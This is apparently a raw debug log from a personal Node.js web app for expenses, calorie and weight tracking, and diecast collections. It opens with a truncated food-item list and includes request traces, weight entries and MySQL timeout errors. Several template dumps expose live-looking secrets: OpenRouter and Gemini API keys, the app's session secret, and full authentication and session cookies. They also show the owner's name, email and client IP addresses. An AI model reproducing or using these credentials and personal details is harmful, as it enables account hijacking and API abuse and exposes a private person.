  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-23T09:48:50.378Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-23T09:48:50.378Z server-connect:app Executing action step identify
2025-12-23T09:48:50.378Z server-connect:app options: { provider: 'security' }
2025-12-23T09:48:50.378Z server-connect:output identity: 1
2025-12-23T09:48:50.379Z server-connect:app Executing action step restrict
2025-12-23T09:48:50.379Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T09:48:50.379Z server-connect:output restrict: undefined
2025-12-23T09:48:50.379Z server-connect:app Executing action step single
2025-12-23T09:48:50.379Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-23T09:48:50.379Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-23T09:48:54.299Z server-connect:router Serving templateView /weight-trackor
2025-12-23T09:48:54.299Z server-connect:app Executing action step identify
2025-12-23T09:48:54.299Z server-connect:app options: { provider: 'security' }
2025-12-23T09:48:54.299Z server-connect:output identity: 1
2025-12-23T09:48:54.299Z server-connect:app Executing action step restrict
2025-12-23T09:48:54.299Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T09:48:54.300Z server-connect:output restrict: undefined
2025-12-23T09:48:54.300Z server-connect:router Render template weight-trackor
2025-12-23T09:48:54.300Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-23T09:48:54.506Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-23T09:48:54.506Z server-connect:app Executing action step identify
2025-12-23T09:48:54.506Z server-connect:app options: { provider: 'security' }
2025-12-23T09:48:54.507Z server-connect:output identity: 1
2025-12-23T09:48:54.507Z server-connect:app Executing action step restrict
2025-12-23T09:48:54.507Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T09:48:54.507Z server-connect:output restrict: undefined
2025-12-23T09:48:54.507Z server-connect:app Executing action step custom
2025-12-23T09:48:54.507Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-23T09:48:54.508Z server-connect:output list: [
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 10:02:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 10:02:14' as DATETIME)"
}
2025-12-23T10:07:25.703Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-23T10:07:27.380Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-23T10:07:28.143Z server-connect:setup:upload Upload middleware configured.
2025-12-23T10:07:28.143Z server-connect:secure CSRF Protection initialized
2025-12-23T10:07:28.145Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-23T10:07:28.146Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-23T10:07:28.148Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-23T10:07:28.151Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-23T10:07:28.155Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-23T10:07:28.158Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-23T10:07:28.168Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-23T10:07:28.182Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-23T10:07:28.183Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-23T10:07:28.190Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-23T10:07:28.199Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-23T10:07:28.201Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-23T10:07:28.272Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2025-12-23T10:07:28.272Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2025-12-23T10:07:28.276Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-23T10:07:28.278Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-23T10:07:28.280Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-23T10:07:28.286Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-23T10:07:28.291Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-23T10:07:28.294Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-23T10:07:28.299Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-23T10:07:28.300Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-23T10:07:28.302Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-23T10:07:28.309Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-23T10:07:28.311Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-23T10:07:28.314Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-23T10:07:28.317Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-23T10:07:28.318Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-23T10:07:28.320Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-23T10:07:28.322Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-23T10:07:28.324Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-23T10:07:28.778Z server-connect:router Serving templateView /
2025-12-23T10:07:28.783Z server-connect:app Executing action step identify
2025-12-23T10:07:28.783Z server-connect:app options: { provider: 'security' }
2025-12-23T10:07:28.785Z server-connect:auth No login cookie found
2025-12-23T10:07:28.785Z server-connect:output identity: false
2025-12-23T10:07:28.785Z server-connect:app Executing action step restrict
2025-12-23T10:07:28.785Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T10:07:28.789Z server-connect:output restrict: undefined
2025-12-23T10:07:28.890Z server-connect:router Serving templateView /login
2025-12-23T10:07:28.890Z server-connect:app Executing action step identify
2025-12-23T10:07:28.891Z server-connect:app options: { provider: 'security' }
2025-12-23T10:07:28.891Z server-connect:auth No login cookie found
2025-12-23T10:07:28.891Z server-connect:output identity: false
2025-12-23T10:07:28.891Z server-connect:router Render template layouts/authentication
2025-12-23T10:07:28.891Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '13.217.123.200',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T10:07:28.889Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '13.217.123.200',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '13.217.123.200',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 10:18:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 10:18:28' as DATETIME)"
}
2025-12-23T10:19:10.464Z server-connect:router Serving templateView /
2025-12-23T10:19:10.464Z server-connect:app Executing action step identify
2025-12-23T10:19:10.464Z server-connect:app options: { provider: 'security' }
2025-12-23T10:19:10.465Z server-connect:auth No login cookie found
2025-12-23T10:19:10.465Z server-connect:output identity: false
2025-12-23T10:19:10.465Z server-connect:app Executing action step restrict
2025-12-23T10:19:10.465Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T10:19:10.465Z server-connect:output restrict: undefined
2025-12-23T10:19:10.583Z server-connect:router Serving templateView /login
2025-12-23T10:19:10.584Z server-connect:app Executing action step identify
2025-12-23T10:19:10.584Z server-connect:app options: { provider: 'security' }
2025-12-23T10:19:10.584Z server-connect:auth No login cookie found
2025-12-23T10:19:10.584Z server-connect:output identity: false
2025-12-23T10:19:10.584Z server-connect:router Render template layouts/authentication
2025-12-23T10:19:10.584Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.172.79.128',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T10:19:10.583Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.172.79.128',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.172.79.128',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 10:22:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
